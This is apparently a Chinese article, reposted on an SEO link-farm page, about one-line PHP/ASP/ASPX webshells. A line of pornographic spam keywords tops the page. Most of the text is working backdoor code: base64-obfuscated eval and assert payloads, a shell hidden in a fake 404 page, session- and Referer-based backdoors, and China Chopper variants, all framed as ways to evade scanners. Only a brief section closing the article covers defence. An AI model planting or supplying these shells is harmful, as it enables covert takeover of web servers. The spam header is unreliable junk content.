丰满少妇理伦A片在线看,精品日产卡一卡二卡麻豆,天堂之囚在线观看,少妇富婆按摩偷人a片

  • 歡迎使用超級(jí)蜘蛛池(CJZZC)網(wǎng)站外鏈優(yōu)化,收藏快捷鍵 CTRL + D

一句话木马原理与攻防


       一句話木馬原理很簡(jiǎn)單,造型也很簡(jiǎn)單,所以造成了它理解起來容易,抵御起來也容易。于是黑白的較量變成了黑帽不斷的構(gòu)造變形的后門,去隱蔽特征,而白帽則不斷的更新過濾方法,建起更高的城墻。

22.jpg

一、原理簡(jiǎn)述

對(duì)于不同的語言有不同的構(gòu)造方法。

  • 基本構(gòu)造:最開頭構(gòu)造的是腳本開始的標(biāo)記

  • 核心部分:獲取并執(zhí)行得到的內(nèi)容,通常類似eval、execute等

  • 被執(zhí)行內(nèi)容:一般是http等協(xié)議接受的值,通常類似request、$_POST等

如果我們通過客戶端向服務(wù)器發(fā)送被執(zhí)行內(nèi)容,那么就會(huì)讓服務(wù)器執(zhí)行我們發(fā)送的腳本,掛馬就實(shí)現(xiàn)了。

/*asp一句話木馬*/<%execute(request("value"))%>

/*php一句話木馬*/<?php @eval($_POST[value]);?>

/*aspx一句話木馬*/
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

黑帽子的目的,就是想盡辦法給目標(biāo)網(wǎng)站插入這么一段會(huì)被儲(chǔ)存起來的語句??梢允且粋€(gè)單獨(dú)的腳本文件文件(.asp 、.php、.aspx ),或者是隱藏在某些網(wǎng)頁下的文件、代碼等。

其中的value 就是客戶端要發(fā)送的內(nèi)容,然后通過客戶端與服務(wù)器建立連接,發(fā)送控制腳本。也會(huì)涉及到一些任意文件上傳漏洞等。

二、簡(jiǎn)單變形

很明顯的 eval 可以成為一個(gè)靜態(tài)特征碼,webshell掃描工具可以以此為關(guān)鍵詞,掃描到這種木馬加以屏蔽。于是可以簡(jiǎn)單變形不出現(xiàn)eval:

<?php $_GET['a']($_POST['b'])?>

同理,傳給a值為 @base64_decode(base64編碼過后的eval)。

<?php $_GET['a']($_GET['b']);?>

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

通過對(duì)GET請(qǐng)求的URL構(gòu)造而形成利用,左括號(hào)和右括號(hào)是URL編碼,解碼回來如下:

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

PHP接收到GET請(qǐng)求后相當(dāng)于執(zhí)行一個(gè)assert函數(shù),并把b作為assert的參數(shù)。b里面使用略php的base64解碼函數(shù),把部分信息通過base64編碼而繞過掃描,解碼后如下:

?a=assert&b=${fputs(fopen(c.php,w),<?php @eval($_POST[c]); ?>1)};

執(zhí)行后當(dāng)前目錄生成c.php文件并寫入一句話木馬,這已經(jīng)算是一個(gè)非常隱蔽的木馬了。而在PHP 后門的變形之路上,遠(yuǎn)遠(yuǎn)不止這些,甚至可以自己定義一個(gè)加密解密的函數(shù),或者是利用xor, 字符串翻轉(zhuǎn),壓縮,截?cái)嘀亟M等等方法來繞過。

三、變形改良

1.404頁面隱藏木馬

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
    <head>
<title>404 Not Found</title>
    </head>
    <body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
    </body>
</html>
<?php
    @preg_replace("/[pageerror]/e",$_POST['error'],"saft");
    header('HTTP/1.1 404 Not Found');
?>

一般404頁面放好后,很少有人會(huì)定期對(duì)404頁面進(jìn)行檢查和修改。

如果在404頁面掛上了一句話后門,一方面不會(huì)被發(fā)現(xiàn),另一方面,黑帽子很容易能定位到并連接上服務(wù)器。


2.無特征隱藏PHP后門

利用session:

<?php
    session_start();
    $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
    $_SESSION['theCode'] && preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

利用$_SEESION變量來繞過掃描,將$_POST['code']賦值給$_SESSION['theCode'],然后eval執(zhí)行SESSION的內(nèi)容。

利用HTTP_REFERER:

利用請(qǐng)求中的HTTP_REFERER來運(yùn)行經(jīng)過base64編碼的代碼,達(dá)到后門的效果,使用兩個(gè)文件。

<?php
    //1.php
    header('Content-type:text/html;charset=utf-8');
    parse_str($_SERVER['HTTP_REFERER'], $a);   
    if(reset($a) == '10' && count($a) == 9) {  
         eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
    }
<?php

    //2.php
    header('Content-type:text/html;charset=utf-8');    
    //要執(zhí)行的代碼
    $code = <<<CODE
        phpinfo();
CODE;

    //進(jìn)行base64編碼
    $code = base64_encode($code);    
    //構(gòu)造referer字符串
    $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";    
    //后門url
    $url = 'http://localhost/test1/1.php';
    $ch = curl_init();
    $options = [
        CURLOPT_URL    => $url,
        CURLOPT_HEADER => FALSE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_REFERER => $referer
    ];
    curl_setopt_array($ch, $options);    
    echo curl_exec($ch);

訪問2.php,會(huì)構(gòu)造一個(gè)會(huì)話,進(jìn)到后門1.php那里。然后在HTTP_REFERER 的內(nèi)容也會(huì)傳遞給1.php,通過1.php 執(zhí)行內(nèi)容。一般來說,防火墻會(huì)對(duì) referer字段寬松一些,就可造成繞過。

3.常見的后門

//菜刀一句話
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");

//危險(xiǎn)的include函數(shù),直接編譯任何文件為php格式運(yùn)行
$filename=$_GET['xbid'];
include ($filename);

//重命名任何文件
$reg="c"."o"."p"."y";
$reg($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']);

//菜刀一句話
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");

//gif插一句話
//危險(xiǎn)的include函數(shù),直接編譯任何文件為php格式運(yùn)行,
POST  
include ($uid);
//典型一句話
<?php eval_r($_POST['s'])?>
<?php @eval_r($_POST['s'])?>

//使用lanker一句話客戶端的專家模式執(zhí)行相關(guān)的php語句
<?php assert($_POST['s']);?>
<?$_POST['a']($_POST['b']);?>
<?$_POST['a']($_POST['b'],$_POST['c'])?>

//使用這個(gè)后,使用菜刀一句話客戶端在配置連接的時(shí)候在"配置"一欄輸入
<?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
<O>h=@eval_r($_POST1);</O>

//繞過<?限制的一句話
<script language="php">@eval_r($_POST[sb])</script>

四、攻防

攻方:利用各種各樣的繞過姿勢(shì),都是試圖讓掃描工具無效。

守方:分析各種各樣的函數(shù),尋找有效的特征碼來防止后門。

黑帽子大牛:深入web框架內(nèi)核,挖掘出代碼缺陷,構(gòu)造出復(fù)雜的后門利用。

安全審計(jì)人員:對(duì)那些通過GET,POST 獲取的超全局變量,進(jìn)行細(xì)致的追蹤,構(gòu)造合適的過濾器。

語義分析:對(duì)GET POST 等獲取的值進(jìn)行污染點(diǎn)追蹤,以確保這些用戶可控的值,不會(huì)未經(jīng)過濾就得到了執(zhí)行,或是進(jìn)入數(shù)據(jù)庫中。

針對(duì)超全局變量進(jìn)行語義分析:

  • $_GET

  • $_POST

  • $_REQUEST

  • $_SERVER

  • $_FILES

  • $_COOKIE

  • $_SESSION

  • $_ENV

  • $GLOBALS

本文鏈接:http://www.hkass.cn/article/275.html

超級(jí)蜘蛛工具

  • 網(wǎng)站鏈接HTTP狀態(tài)批量檢測(cè)_在線批量檢測(cè)網(wǎng)站鏈接狀態(tài)_超級(jí)蜘蛛池
  • 百度關(guān)鍵詞排名查詢_網(wǎng)站關(guān)鍵詞排名批量查詢_超級(jí)蜘蛛池
  • 百度收錄查詢_在線百度收錄批量查詢_超級(jí)蜘蛛池
  • 域名IP地址批量查詢_在線批量查詢網(wǎng)站IP地址_超級(jí)蜘蛛池
  • 超級(jí)外鏈發(fā)布工具_(dá)在線免費(fèi)批量發(fā)布SEO外鏈_超級(jí)蜘蛛池
  • 網(wǎng)頁蜘蛛模擬抓取測(cè)試工具_(dá)超級(jí)蜘蛛工具_(dá)超級(jí)蜘蛛池